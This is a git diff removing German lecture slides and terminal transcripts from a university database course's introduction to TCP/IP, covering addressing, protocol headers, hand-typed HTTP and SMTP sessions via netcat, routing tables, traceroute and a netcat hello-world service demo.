\hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \begin{itemize} - \color{medgreen} - \item[3.1] IP-Adressen - \item[3.2] MAC-Adressen - \item[3.3] TCP- und UDP-Ports - \color{red} - \item[3.4] TCP-Protokolle - \item[3.5] Routing - \item[3.6] Netzwerkanalyse - \item[3.7] SSH - \item[3.8] X11 - \end{itemize} - \item[\textbf{4}] \textbf{Relationale Datenbanken} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\setcounter{section}{2} -\section{Kurzeinführung TCP/IP} - -\subsection{IP-Adressen} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item \lstinline[style=cmd]{ip addr} (Linux)\\ - \lstinline[style=cmd]{ifconfig} (Unix allgemein)\\ - \lstinline[style=cmd]{ipconfig} (MS Windows) - \item \lstinline[style=cmd]{ip addr add <Netz>} -% \\ -% Beispiel: -% \lstinline[style=cmd]{ip addr add 192.168.2.197/24}\\ -% \includegraphics[width=7cm]{../20171026/photo-20171026-142620.jpg} - \item \lstinline[style=cmd]{ip link} - \item \lstinline[style=cmd]{ping <IP-Adresse>} - \end{itemize} - - \medskip - - \begin{lstlisting}[style=terminal] - # ifconfig - lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 - inet 127.0.0.1 netmask 255.0.0.0 - inet6 ::1 prefixlen 128 scopeid 0x10<host> - [...] - - wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 - inet 192.168.42.101 netmask 255.255.255.0 - broadcast 192.168.42.255 - ether be:3f:ca:aa:7e:51 txqueuelen 1000 (Ethernet) - [...] - \end{lstlisting} - -\end{frame} - -\begin{frame} - - \showsubsection - - IPv4-Adressen: - \begin{itemize} - \item - 32 Bit - \item - dezimal, 4 Gruppen zu je 8 Bit (0--255), durch Punkte getrennt - \end{itemize} - - \medskip - - IPv6-Adressen: - \begin{itemize} - \item - 128 Bit - \item - hexadezimal, 8 Gruppen zu je 4 Hex-Ziffern, durch Doppelpunkte getrennt - \item - Führende Nullen dürfen weggelassen werden. - \item - Zwei Dopppelpunkte bedeuten: Mit Nullen auffüllen. - \item - Literatur und Beispiel: \url{https://de.wikipedia.org/wiki/IPv6} - \end{itemize} - -\end{frame} - -\subsection{MAC-Adressen} - -\begin{frame} - - \showsubsection - - MAC = Media Access Control - - \smallskip - - MAC-Adresse = Hardware-Adresse = Ethernet-Adresse - - \begin{itemize} - \item \lstinline[style=cmd]{ip neig}\\ - \lstinline[style=cmd]{arp} - \end{itemize} - - \bigskip - - Ethernet-Frame: - \begin{center} - \label{Ethernetpaket}% - \includegraphics[width=12cm]{Ethernetpaket.pdf}% - \end{center} - -\end{frame} - -\subsection{TCP- und UDP-Ports} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{nc <IP> <Port>}\\ - Verbindung zu Programm $\langle$Port$\rangle$ - auf Rechner $\langle$IP$\rangle$ aufnehmen - \item - \lstinline[style=cmd]{nc -l <Port>} - oder - \lstinline[style=cmd]{nc -p <Port> -l}\\ - auf eingehende Verbindungen warten ("`lauschen"') - \medskip - \item - TCP-Ports: Verbindungskonzept, Netzwerk prüft - \item - UDP-Ports: einzelne Pakete, Anwendung muß selbst prüfen - \item - ICMP: keine Ports, nur Rechner:\\ - Erreichbarkeit, Eigenschaften der Übertragung - \end{itemize} - - \medskip - - \begin{center} - \renewcommand{\arraystretch}{1.2} - \begin{tabular}{|l|}\hline - Anwendung: HTTP, SMTP, \dots \\\hline - Transport: TCP-/UDP-Ports, ICMP \\\hline - Internet: IP-Adresse \\\hline - Netzwerkzugang: Hardware-/MAC-Adresse \\\hline - \end{tabular} - \end{center} - -\end{frame} - -\begin{frame} - - Protokollstapel: - \begin{center} - \begin{picture}(12,7) - \thicklines - \put(0,1.0){\line(1,0){12}} - \put(0,1.0){\line(0,1){3}} - \put(12,1.0){\line(0,1){3}} - \put(1.9,1.0){\line(0,1){3}} - \put(11.1,1.0){\line(0,1){3}} - \put(6,0.5){\makebox(0,0)[t]{\textbf{Ethernet-Paket}}} - \put(1,0.9){\makebox(0,0)[t]{\footnotesize Vorspann}} - \put(6.5,0.9){\makebox(0,0)[t]{\footnotesize Nutzdaten}} - \put(11.5,0.9){\makebox(0,0)[t]{\footnotesize Nachspann}} - \color{blue} - \thicklines - \put(2,2.0){\line(1,0){9}} - \put(2,2.0){\line(0,1){3}} - \put(3.9,2.0){\line(0,1){3}} - \put(11,2.0){\line(0,1){3}} - \put(6.5,1.5){\makebox(0,0)[t]{\textbf{IP-Paket}}} - \put(3,1.9){\makebox(0,0)[t]{\footnotesize Vorspann}} - \put(7.5,1.9){\makebox(0,0)[t]{\footnotesize Nutzdaten}} - \color{darkgreen} - \thicklines - \put(4,3.0){\line(1,0){6.9}} - \put(4,3.0){\line(0,1){3}} - \put(5.9,3.0){\line(0,1){3}} - \put(10.9,3.0){\line(0,1){3}} - \put(7.5,2.5){\makebox(0,0)[t]{\textbf{TCP-Segment}}} - \put(5,2.9){\makebox(0,0)[t]{\footnotesize Vorspann}} - \put(8.5,2.9){\makebox(0,0)[t]{\footnotesize Nutzdaten}} - \color{red} - \thicklines - \put(6,4.0){\line(1,0){4.8}} - \put(6,4.0){\line(0,1){3}} - \put(7.9,4.0){\line(0,1){3}} - \put(10.8,4.0){\line(0,1){3}} - \put(8.5,3.5){\makebox(0,0)[t]{\textbf{usw.}}} - \put(7,3.9){\makebox(0,0)[t]{\footnotesize Vorspann}} - \put(9.5,3.9){\makebox(0,0)[t]{\footnotesize Nutzdaten}} - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \begin{center} - \begin{picture}(8,8.7)(0,3) - \put(0,0){\color{ethernet}\rule{8cm}{9cm}} - \put(0,3){\line(1,0){8}} - \put(0,3){\line(0,1){9}} - \put(0,12){\line(1,0){8}} - \put(8,3){\line(0,1){9}} - \put(0,4){\line(1,0){8.0}} - \put(0,11){\line(1,0){8.0}} - \put(4,11.5){\makebox(0,0){Ethernet-Vorspann}} - \put(4,3.5){\makebox(0,0){Ethernet-Nachspann}} - \put(4,10.75){\makebox(0,0){Ethernet-Nutzdaten}} - \put(0.2,4.1){\color{ip}\rule{7.6cm}{6.4cm}} - \put(0.2,4.1){\line(1,0){7.6}} - \put(0.2,4.1){\line(0,1){6.4}} - \put(0.2,10.5){\line(1,0){7.6}} - \put(7.8,4.1){\line(0,1){6.4}} - \put(4,10.0){\makebox(0,0){IP-Vorspann}} - \put(0.2,9.5){\line(1,0){7.6}} - \put(4,9.25){\makebox(0,0){IP-Nutzdaten}} - \put(0.4,4.2){\color{tcp}\rule{7.2cm}{4.8cm}} - \put(0.4,4.2){\line(1,0){7.2}} - \put(0.4,4.2){\line(0,1){4.8}} - \put(0.4,9.0){\line(1,0){7.2}} - \put(7.6,4.2){\line(0,1){4.8}} - \put(4,8.5){\makebox(0,0){TCP-Vorspann}} - \put(0.4,8.0){\line(1,0){7.2}} - \put(4,7.75){\makebox(0,0){TCP-Nutzdaten}} - \put(0.6,4.3){\color{data}\rule{6.8cm}{3.2cm}} - \put(0.6,4.3){\line(1,0){6.8}} - \put(0.6,4.3){\line(0,1){3.2}} - \put(0.6,7.5){\line(1,0){6.8}} - \put(7.4,4.3){\line(0,1){3.2}} - \put(4,7.0){\makebox(0,0){usw.}} - \put(4,5.9){\makebox(0,0){Nutzdaten}} - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - Ethernet-Frame: transportiert IP-Paket - - \def\headercolor{ethernet} - \def\datacolor{ip} - \begin{center} - \setlength{\unitlength}{0.3333cm}% - \setlength{\baselineskip}{3\unitlength}\par -% \label{...}% -% \begin{picture}(0,0) -% \put(0,0){\makebox(0,0){\footnotesize$\overbrace{\rule{32\unitlength}{0pt}}^{\mbox{32 Bit}}$}} -% \put(20,-3){\makebox(0,0)[t]{\footnotesize $\left.\rule{0pt}{9.25\unitlength}\right\}$ TCP-Header}} -% \put(20.15,-21){\makebox(0,0)[t]{\footnotesize $\left.\rule{0pt}{1.75\unitlength}\right\}$ TCP-Nutzdaten}} -% \end{picture}\\* - \headerbox{byte}% - \byteno{0}\byteno{}\byteno{}\byteno{}\byteno{4}\byteno{}\byteno{}\byteno{}\\* - \vbitno{0}\bitbox{14}{preamble}\bitbox{2}{\shortstack{S\\F\\D}}\\* - \vbitno{8}\bitbox{12}{destination MAC address}\emptybox{4}{3}{}\\* - \vbitno{14}\bitbox{12}{source MAC address}\emptybox{4}{3}{}\\* - \vbitno{20}\bitbox{8}{tag}\bitbox{4}{type}\emptybox{4}{3}{}\\* - \vbitno{26}\databitbox{12}{data}\emptybox{4}{3}{}\\* - \vbitno{}\bitbox{4}{padding}\bitbox{8}{CRC}\emptybox{4}{3}{} - \end{center} - -\end{frame} - -\begin{frame} - - IP-Paket: transportiert TCP-Datagramm, UDP- oder ICMP-Paket - - \def\headercolor{ip} - \def\datacolor{tcp} - \begin{center} - \setlength{\unitlength}{0.3333cm}% - \setlength{\baselineskip}{3\unitlength}\par - \label{IPv4-Header}% -% \begin{picture}(0,0) -% \put(0,0){\makebox(0,0){\footnotesize$\overbrace{\rule{32\unitlength}{0pt}}^{\mbox{32 Bit}}$}} -% \put(20,-3){\makebox(0,0)[t]{\footnotesize $\left.\rule{0pt}{9.25\unitlength}\right\}$ IPv4-Header}} -% \put(20.15,-21){\makebox(0,0)[t]{\footnotesize $\left.\rule{0pt}{1.75\unitlength}\right\}$ IPv4-Nutzlast}} -% \end{picture}\\* - \headerbox{bit}% - \bitno{0}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}% - \bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{15}% - \bitno{16}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}% - \bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{31}\\* - \vbitno{0}\bitbox{4}{version}% - \bitbox{4}{\shortstack{IP header\\length}}% - \bitbox{8}{type of service}% - \bitbox{16}{total length}\\* - \vbitno{32}\bitbox{16}{identification}% - \bitbox{1}{\begin{rotate}{90}\makebox(0,0){\scriptsize reserved}\end{rotate}}% - \bitbox{1}{\shortstack{D\\F}}% - \bitbox{1}{\shortstack{M\\F}}% - \bitbox{13}{fragment offset}\\* - \vbitno{64}\bitbox{8}{time to live}% - \bitbox{8}{protocol}% - \bitbox{16}{header checksum}\\* - \vbitno{96}\bitbox{32}{source address}\\* - \vbitno{128}\bitbox{32}{destination address}\\* - \vbitno{160}\flexbitbox{32}{options and padding (optional)}\\* - \vbitno{}\databitbox{32}{data} - \end{center} - -\end{frame} - -\begin{frame} - - TCP-Datagramm: transportiert Anwendungsdaten - - \def\headercolor{tcp} - \def\datacolor{data} - \begin{center} - \setlength{\unitlength}{0.3333cm}% - \setlength{\baselineskip}{3\unitlength}\par - \label{TCP-Header}% -% \begin{picture}(0,0) -% \put(0,0){\makebox(0,0){\footnotesize$\overbrace{\rule{32\unitlength}{0pt}}^{\mbox{32 Bit}}$}} -% \put(20,-3){\makebox(0,0)[t]{\footnotesize $\left.\rule{0pt}{9.25\unitlength}\right\}$ TCP-Header}} -% \put(20.15,-21){\makebox(0,0)[t]{\footnotesize $\left.\rule{0pt}{1.75\unitlength}\right\}$ TCP-Nutzlast}} -% \end{picture}\\* - \headerbox{bit}% - \bitno{0}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}% - \bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{15}% - \bitno{16}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}% - \bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{31}\\* - \vbitno{0}\bitbox{16}{source port}\bitbox{16}{destination port}\\* - \vbitno{32}\bitbox{32}{sequence number}\\* - \vbitno{64}\bitbox{32}{acknowledegment number}\\* - \vbitno{96}\bitbox{4}{\shortstack{data\\offset}}% - \bitbox{6}{reserved}% - \bitbox{1}{\shortstack{U\\R\\G}}% - \bitbox{1}{\shortstack{A\\C\\K}}% - \bitbox{1}{\shortstack{P\\S\\H}}% - \bitbox{1}{\shortstack{R\\S\\T}}% - \bitbox{1}{\shortstack{S\\Y\\N}}% - \bitbox{1}{\shortstack{F\\I\\N}}% - \bitbox{16}{window}\\* - \vbitno{128}\bitbox{16}{checksum}% - \bitbox{16}{urgent pointer}\\* - \vbitno{160}\flexbitbox{32}{\shortstack{options\\(0 oder mehr 32-Bit-Wörter)}}\\* - \vbitno{}\databitbox{32}{data} - \end{center} - -\end{frame} - -\begin{frame} - - UDP-Paket: transportiert Anwendungsdaten - - \def\headercolor{tcp} - \def\datacolor{data} - \begin{center} - \setlength{\unitlength}{0.3333cm}% - \setlength{\baselineskip}{3\unitlength}\par - \label{UDP-Header}% -% \begin{picture}(0,0) -% \put(0,0){\makebox(0,0){\footnotesize$\overbrace{\rule{32\unitlength}{0pt}}^{\mbox{32 Bit}}$}} -% \put(20,-3){\makebox(0,0)[t]{\footnotesize $\left.\rule{0pt}{3.25\unitlength}\right\}$ UDP-Header}} -% \put(20.15,-9){\makebox(0,0)[t]{\footnotesize $\left.\rule{0pt}{1.75\unitlength}\right\}$ UDP-Nutzlast}} -% \end{picture}\\* - \headerbox{bit}% - \bitno{0}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}% - \bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{15}% - \bitno{16}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}% - \bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{31}\\* - \vbitno{0}\bitbox{16}{source port}\bitbox{16}{destination port}\\* - \vbitno{32}\bitbox{16}{length}% - \bitbox{16}{checksum}\\* - \vbitno{64}\databitbox{32}{data} - \end{center} - - \bigskip - - ICMP-Paket: transportiert Steuernachrichten - - \def\headercolor{tcp} - \def\datacolor{data} - \begin{center} - \setlength{\unitlength}{0.3333cm}% - \setlength{\baselineskip}{3\unitlength}\par - \label{ICMP-Header}% -% \begin{picture}(0,0) -% \put(0,0){\makebox(0,0){\footnotesize$\overbrace{\rule{32\unitlength}{0pt}}^{\mbox{32 Bit}}$}} -% \put(20,-3){\makebox(0,0)[t]{\footnotesize $\left.\rule{0pt}{1.75\unitlength}\right\}$ ICMP-Header}} -% \put(20.15,-6){\makebox(0,0)[t]{\footnotesize $\left.\rule{0pt}{1.75\unitlength}\right\}$ ICMP-Nutzlast}} -% \end{picture}\\* - \headerbox{bit}% - \bitno{0}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}% - \bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{15}% - \bitno{16}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}% - \bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{}\bitno{31}\\* - \vbitno{0}\bitbox{8}{type}% - \bitbox{8}{code}% - \bitbox{16}{checksum}\\* - \vbitno{32}\databitbox{32}{data} - \end{center} - -\end{frame} - -\subsection{TCP-Protokolle} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \textbf{SMTP}\\ - \lstinline[style=cmd]{HELO cassini}\\ - \lstinline[style=cmd]{MAIL FROM: <example@example.com>}\\ - \lstinline[style=cmd]{RCPT TO: <beispiel@example.de>}\\ - (E-Mail-Header -- Teil der Nutzdaten)\\ - \lstinline[style=cmd]{From: Eddie Example <example@example.com>}\\ - \lstinline[style=cmd]{To: Bert Beispiel <beispiel@example.de>}\\ - \lstinline[style=cmd]{Subject: Hello, world!}\\ - (Leerzeile)\\ - \lstinline[style=cmd]{Hi, there!}\\ - \lstinline[style=cmd]{.} - \pause - \smallskip - \item - \textbf{HTTP}\\ - \lstinline[style=cmd]{GET / HTTP/1.1}\\ - \lstinline[style=cmd]{Host: www.hs-bochum.de}\\ - (Leerzeile) -% \begin{onlyenv}<2> - \par\medskip - URL: Schema://Benutzer:Passwort@Rechner:port/Pfad?Query\#Fragment -% \end{onlyenv} - \pause - \medskip - \item - Protokolle "`mal eben"' selbst schreiben: - \lstinline[style=cmd]{nc -c} oder \file{inetd} - \end{itemize} - -\end{frame} - -\subsection{Routing} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{ip route} (Linux)\\ - \lstinline[style=cmd]{route} (MS-Windows, Unix)\\ - \lstinline[style=cmd]{netstat -nr} (MacOS) -% \\[\medskipamount] -% \includegraphics[width=11cm]{../20171026/photo-20171026-162455.jpg} - \end{itemize} - - \medskip - - \begin{lstlisting}[style=terminal] - # route -n - Kernel-IP-Routentabelle - Ziel Router Genmask [...] Iface - 0.0.0.0 192.168.42.1 0.0.0.0 [...] wlan0 - 169.254.0.0 0.0.0.0 255.255.0.0 [...] wlan0 - 192.168.42.0 0.0.0.0 255.255.255.0 [...] wlan0 - \end{lstlisting} - - \bigskip - - Netzmaske:\\ - Wenn nach Und-Verknüpfung mit IP-Adresse gleich, - \textarrow\ im gleichen Netz - - \medskip - - \lstinline[style=terminal]{255.255.240.0} ist dasselbe wie - \lstinline[style=terminal]{/20}\\ - (20 Bit sind 1; die restlichen 12 Bit sind 0) - -\end{frame} - -\subsection{Netzwerkanalyse} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{tcpdump} - \item - \lstinline[style=cmd]{wireshark} - \item - \lstinline[style=cmd]{ettercap} - \end{itemize} - -\end{frame} - -\subsection{SSH} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{SSH <Rechner>} - \item - \lstinline[style=cmd]{-C}: Komprimierung - \item - \lstinline[style=cmd]{-L}: lokalen Port auf Remote-Port umleiten - \item - \lstinline[style=cmd]{-R}: Remote-Port auf lokalen Port umleiten - \end{itemize} - -\end{frame} - -\subsection{X11} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - Grafik-Bildschirm und Eingabegeräte über's Netz - \item - \lstinline[style=cmd]{DISPLAY}-Variable: X-Server: Rechner und Bildschirm - \item - \lstinline[style=cmd]{ssh -X}: X11-Forwarding - \end{itemize} - -\end{frame} - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \begin{itemize} - \item[3.1] IP-Adressen - \item[3.2] MAC-Adressen - \item[3.3] TCP- und UDP-Ports - \color{medgreen} - \item[3.4] TCP-Protokolle - \item[3.5] Routing - \item[3.6] Netzwerkanalyse - \item[3.7] SSH - \item[3.8] X11 - \end{itemize} - \item[\textbf{4}] \textbf{Relationale Datenbanken} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\end{document} diff --git a/20231102/hello-01 b/20231102/hello-01 deleted file mode 100755 index 9f3f770bfcccad3d62d2e2d08b077469ef3722fa..0000000000000000000000000000000000000000 --- a/20231102/hello-01 +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -echo "Hello, world!" diff --git a/20231102/hello-02 b/20231102/hello-02 deleted file mode 100755 index 12df31d3135a39ca954a181e837f132d133dfe3d..0000000000000000000000000000000000000000 --- a/20231102/hello-02 +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash - -echo -n "Name: " -read name -echo "Hallo, $name!" diff --git a/20231102/http-01.txt b/20231102/http-01.txt deleted file mode 100644 index 7eae9066015078125153f90a455ee035758c9457..0000000000000000000000000000000000000000 --- a/20231102/http-01.txt +++ /dev/null @@ -1,37 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231102> nc 88.198.170.60 80 -GET / -HTTP/1.1 400 Bad Request -Date: Thu, 02 Nov 2023 10:54:35 GMT -Server: Apache/2.4.56 (Debian) -Content-Length: 308 -Connection: close -Content-Type: text/html; charset=iso-8859-1 - -<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> -<html><head> -<title>400 Bad Request</title> -</head><body> -<h1>Bad Request</h1> -<p>Your browser sent a request that this server could not understand.<br /> -</p> -<hr> -<address>Apache/2.4.56 (Debian) Server at m31.gerwinski.de Port 80</address> -</body></html> -cassini/home/peter/bo/2023ws/dbs/20231102> nc 88.198.170.60 80 -GET /^M -<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN"> -<html> - <head> - <title>ngc224.gerwinski.de</title> - </head> - <body background="ngc224.jpg" bgcolor="#000000" text="#CFCFCF" - link="#7F7FFF" alink="#CFCFFF" vlink="#FF5FFF"> - <h1>ngc224.gerwinski.de - der Server</h1> - <p>Benannt nach der Andromeda-Galaxie - M31 - NGC224 - <p align="center"><img src="null.png" alt="" width="1" height="1" vspace="360"> - <p><font size="-2"><a href="http://www.peter.gerwinski.de">Peter Gerwinski</a><br> - <a href="http://www.noao.edu/image_gallery/html/im0424.html">Bild: - Bill Schoening, Vanessa Harvey/REU program/NOAO/AURA/NSF</a></font> - </body> -</html> -cassini/home/peter/bo/2023ws/dbs/20231102> diff --git a/20231102/logo-hochschule-bochum-cvh-text-v2.pdf b/20231102/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20231102/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20231102/logo-hochschule-bochum.pdf b/20231102/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20231102/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20231102/pgslides.sty b/20231102/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20231102/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20231102/routing-01.txt b/20231102/routing-01.txt deleted file mode 100644 index 647b3f72b2671c1f54a7257d0bf1382206433d44..0000000000000000000000000000000000000000 --- a/20231102/routing-01.txt +++ /dev/null @@ -1,25 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231102> /sbin/route -n -Kernel-IP-Routentabelle -Ziel Router Genmask Flags Metric Ref Use Iface -0.0.0.0 10.128.29.1 0.0.0.0 UG 0 0 0 wlan0 -10.128.29.0 0.0.0.0 255.255.255.0 U 0 0 0 wlan0 -cassini/home/peter/bo/2023ws/dbs/20231102> /sbin/ifconfig -lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 - inet 127.0.0.1 netmask 255.0.0.0 - inet6 ::1 prefixlen 128 scopeid 0x10<host> - loop txqueuelen 1000 (Lokale Schleife) - RX packets 2141231 bytes 2409535237 (2.2 GiB) - RX errors 0 dropped 0 overruns 0 frame 0 - TX packets 2141231 bytes 2409535237 (2.2 GiB) - TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 - -wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 - inet 10.128.29.120 netmask 255.255.255.0 broadcast 10.128.29.255 - inet6 fe80::c685:8ff:fe4a:5042 prefixlen 64 scopeid 0x20<link> - ether c4:85:08:4a:50:42 txqueuelen 1000 (Ethernet) - RX packets 2051475 bytes 905394925 (863.4 MiB) - RX errors 0 dropped 0 overruns 0 frame 0 - TX packets 4252967 bytes 2323112955 (2.1 GiB) - TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 - -cassini/home/peter/bo/2023ws/dbs/20231102> diff --git a/20231102/routing-02.txt b/20231102/routing-02.txt deleted file mode 100644 index 043e1d443dbc3917300cd4b21dc430d9da2c7ad4..0000000000000000000000000000000000000000 --- a/20231102/routing-02.txt +++ /dev/null @@ -1,9 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231102> ip route -default via 10.128.29.1 dev wlan0 -10.128.29.0/24 dev wlan0 proto kernel scope link src 10.128.29.120 -cassini/home/peter/bo/2023ws/dbs/20231102> /sbin/route -n -Kernel-IP-Routentabelle -Ziel Router Genmask Flags Metric Ref Use Iface -0.0.0.0 10.128.29.1 0.0.0.0 UG 0 0 0 wlan0 -10.128.29.0 0.0.0.0 255.255.255.0 U 0 0 0 wlan0 -cassini/home/peter/bo/2023ws/dbs/20231102> diff --git a/20231102/routing-03.txt b/20231102/routing-03.txt deleted file mode 100644 index 24cfe123419b7ac26b94a6838748a05236652ea4..0000000000000000000000000000000000000000 --- a/20231102/routing-03.txt +++ /dev/null @@ -1,28 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231102> /sbin/route -n -Kernel-IP-Routentabelle -Ziel Router Genmask Flags Metric Ref Use Iface -0.0.0.0 10.128.29.1 0.0.0.0 UG 0 0 0 wlan0 -10.128.29.0 0.0.0.0 255.255.255.0 U 0 0 0 wlan0 -cassini/home/peter/bo/2023ws/dbs/20231102> traceroute -n 88.198.170.60 -traceroute to 88.198.170.60 (88.198.170.60), 30 hops max, 60 byte packets - 1 10.128.29.1 2.345 ms 2.854 ms 2.848 ms - 2 * * * - 3 188.1.231.93 4.512 ms 4.727 ms 5.389 ms - 4 188.1.144.178 10.100 ms 10.073 ms 10.072 ms - 5 188.1.242.10 9.438 ms 9.111 ms 11.022 ms - 6 213.239.224.69 15.161 ms 13.278 ms 213.239.224.85 12.722 ms - 7 213.239.229.62 12.697 ms 13.011 ms 213.239.229.58 12.491 ms - 8 144.76.104.6 12.759 ms 12.650 ms 16.253 ms - 9 144.76.104.6 15.634 ms 12.525 ms 12.840 ms -cassini/home/peter/bo/2023ws/dbs/20231102> traceroute 88.198.170.60 -traceroute to 88.198.170.60 (88.198.170.60), 30 hops max, 60 byte packets - 1 _gateway (10.128.29.1) 2.266 ms 2.802 ms 2.782 ms - 2 * * * - 3 cr-dui1-pwether10722.x-win.dfn.de (188.1.231.93) 5.425 ms 4.740 ms 5.416 ms - 4 cr-fra2-be16.x-win.dfn.de (188.1.144.178) 9.844 ms 9.828 ms 8.831 ms - 5 kr-fra307.x-win.dfn.de (188.1.242.10) 9.796 ms 9.782 ms 9.765 ms - 6 core23.fsn1.hetzner.com (213.239.224.69) 13.576 ms core22.fsn1.hetzner.com (213.239.224.13) 12.551 ms core21.fsn1.hetzner.com (213.239.224.101) 12.231 ms - 7 ex9k2.dc10.fsn1.hetzner.com (213.239.229.58) 12.722 ms static.213-239-254-86.clients.your-server.de (213.239.254.86) 16.846 ms ex9k2.dc10.fsn1.hetzner.com (213.239.229.62) 17.091 ms - 8 static.6.104.76.144.clients.your-server.de (144.76.104.6) 17.633 ms 14.226 ms 13.191 ms - 9 static.6.104.76.144.clients.your-server.de (144.76.104.6) 13.144 ms * 15.826 ms -cassini/home/peter/bo/2023ws/dbs/20231102> diff --git a/20231102/services-01.txt b/20231102/services-01.txt deleted file mode 100644 index b1597eed5af77ba7f1b818abfd393ab20d3b3b0f..0000000000000000000000000000000000000000 --- a/20231102/services-01.txt +++ /dev/null @@ -1,14 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231102> cat hello-01 -#!/bin/bash - -echo "Hello, world!" -cassini/home/peter/bo/2023ws/dbs/20231102> chmod +x hello-01 -cassini/home/peter/bo/2023ws/dbs/20231102> ./hello-01 -Hello, world! -cassini/home/peter/bo/2023ws/dbs/20231102> nc -p 1234 -l -c ./hello-01 -cassini/home/peter/bo/2023ws/dbs/20231102> - -8< --------------------------------------------------------------------- - -cassini/home/peter> nc 127.0.0.1 1234 -Hello, world! diff --git a/20231102/services-02.txt b/20231102/services-02.txt deleted file mode 100644 index 15858e88a4485002fbf5d92721180a54c00c8768..0000000000000000000000000000000000000000 --- a/20231102/services-02.txt +++ /dev/null @@ -1,18 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231102> cat hello-02 -#!/bin/bash - -echo -n "Name: " -read name -echo "Hallo, $name!" -cassini/home/peter/bo/2023ws/dbs/20231102> ./hello-02 -Name: Peter -Hallo, Peter! -cassini/home/peter/bo/2023ws/dbs/20231102> nc -p 1234 -l -c ./hello-02 -cassini/home/peter/bo/2023ws/dbs/20231102> - -8< --------------------------------------------------------------------- - -cassini/home/peter> nc 127.0.0.1 1234 -Name: Peter -Hallo, Peter! -cassini/home/peter> diff --git a/20231102/smtp-01.txt b/20231102/smtp-01.txt deleted file mode 100644 index 64ffee48c7390b391b8c7a978d6568034b52dfc3..0000000000000000000000000000000000000000 --- a/20231102/smtp-01.txt +++ /dev/null @@ -1,26 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231102> nc 88.198.170.60 25 -220 mx1.gerwinski.de ESMTP Exim 4.94.2 Thu, 02 Nov 2023 11:24:26 +0100 -Hallo? -500 unrecognized command -HELO cassini -250 mx1.gerwinski.de Hello cassini [195.37.15.82] -MAIL FROM: <peter.gerwinski@hs-bochum.de> -250 OK -RCPT TO: 